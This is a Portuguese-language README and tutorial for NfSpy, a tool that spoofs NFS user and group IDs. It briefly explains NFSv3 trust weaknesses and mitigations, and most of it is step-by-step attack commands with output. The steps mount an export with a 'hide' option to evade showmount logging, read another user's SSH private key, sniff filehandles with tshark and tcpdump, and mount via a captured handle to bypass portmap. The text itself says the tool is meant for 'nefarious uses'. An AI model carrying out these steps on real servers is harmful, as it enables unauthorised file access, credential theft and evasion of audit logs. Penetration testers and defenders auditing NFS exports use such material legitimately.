
ID-spoofing NFS client
por Daniel Miller
NfSpy é uma biblioteca Python para automatizar a falsificação de credenciais NFS ao montar uma partilha NFS. Estão incluídos dois programas cliente:
nfspy usa a biblioteca Filesystem in Userspace (FUSE) para montar uma partilha NFS no Linux. Isto permite o uso de quaisquer programas regulares de pesquisa e manipulação de ficheiros como grep e find para explorar a exportação NFS.
nfspysh é uma shell interativa tipo ftp para explorar exportações NFS. Não requer a biblioteca FUSE, por isso pode ser executada em plataformas não Linux.
O NFS anterior à versão 4 depende de relações de confiança entre hosts para autenticação. O servidor NFS confia em quaisquer máquinas cliente para autenticar utilizadores e atribuir os mesmos IDs de utilizador (UIDs) que o sistema de ficheiros partilhado utiliza. Isto funciona em domínios NIS, NIS+ e LDAP, por exemplo, mas apenas se souber que a máquina cliente não está comprometida ou a falsificar a sua identidade. Isto porque a única autenticação no protocolo NFS é a passagem do UID e GID (ID de grupo). Existem algumas medidas que podem ser tomadas para melhorar a segurança do NFS, mas muitas delas são soluções incompletas, e mesmo com todas as três listadas aqui, ainda pode ser possível contornar as medidas de segurança.
O servidor ou a partilha ("export" na terminologia NFS) pode ser configurado com root_squash, o que significa que qualquer pedido que chegue a afirmar ser UID ou GID 0 (root) será tratado como o utilizador nobody, ou equivalente no sistema. Isto não impede um atacante de falsificar qualquer outra combinação UID/GID, mas protegerá as informações e configurações mais sensíveis na exportação.
Outra configuração que pode ser ativada é nfs_portmon, que nega pedidos provenientes de portas de origem fora do intervalo 513-1024. Uma vez que apenas root pode (normalmente) alocar estas portas, isto impede um utilizador comum numa máquina confiável de escrever e usar o seu próprio cliente NFS que falsifica UID/GID. Não faz nada para impedir um host malicioso, um utilizador com permissões su, ou uma máquina comprometida ao nível root de fazer o mesmo.
As partilhas/exportações podem ser controladas para que apenas certas máquinas possam aceder-lhes. Estas Listas de Controlo de Acesso podem consistir em:
A melhor configuração seria usar uma lista de hosts, pois consultar o daemon nfs fornecerá apenas o nome da lista, não quais endereços ou nomes ela contém. Em seguida, estariam endereços IP ou nomes de host, pois estes são mais difíceis de falsificar. Prefixos IP e "todos" são indícios de insegurança, pois há pouca ou nenhuma restrição sobre quais endereços podem conectar.
Uma lista de opções pode ser vista executando
nfspy --help
Há um servidor NFS em 192.168.1.124.
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
Monte a partilha. Usar sudo permite vincular a uma porta privilegiada, e a opção allow_other permite que qualquer utilizador use o sistema de ficheiros. A outra nova opção aqui é "hide", que imediatamente "desmonta" a partilha no servidor, mas mantém o descritor de ficheiro (filehandle) que obteve. Isto esconde a sua presença de qualquer pessoa que use showmount -a
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
Desfrute da sua nova liberdade!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
Para desmontar, use fusermount:
$ sudo fusermount -u /mnt
Há um servidor NFS em 192.168.1.124. O Portmap está bloqueado, então não pode obter uma lista de partilhas, mas pode farejar o tráfego de rede.
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
Agora use as opções de montagem dirhandle e getroot para evitar usar o daemon mount, e use a opção nfsport para evitar usar o portmapper, percorrendo a árvore de diretórios até à raiz da exportação.
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
Note que não fornecemos um caminho para montar, pois tudo o que sabemos é o filehandle nfs. Para isto funcionar, o identificador deve ser de um diretório, não de um ficheiro, e tem de trabalhar rapidamente ou o identificador ficará obsoleto.
O programa tshark faz parte do projeto Wireshark. O programa comum tcpdump também tem a capacidade de descodificar filehandles NFS com a opção -u:
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
Estes filehandles são separados por dois pontos de 4 bytes, por isso terá de os preencher com zeros por conta própria; o NfSpy irá apenas remover os dois pontos, o que está incorreto.
nfspysh aceita o mesmo conjunto básico de opções no mesmo formato que nfspy, por isso o tutorial acima deve funcionar bem. A lista de comandos pode ser vista com o comando "help".
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
O acesso de escrita está em beta. Funcionou nos meus testes em alguns sistemas, mas poderia usar mais testes. Por causa disto, o NfSpy assume a montagem ro por defeito. Especifique a opção de montagem rw para alterar isto. (o nfspysh não tem modo apenas leitura. Cuidado!)
O NfSpy não funciona com os serviços padrão lockd e statd, o que pode causar problemas na escrita de ficheiros. Para apenas leitura, no entanto, e para a maioria dos usos nefastos para os quais foi concebido, isto não deverá ser um problema.
O NfSpy apenas suporta NFSv3 de momento. Versões futuras poderão escolher inteligentemente uma versão NFS.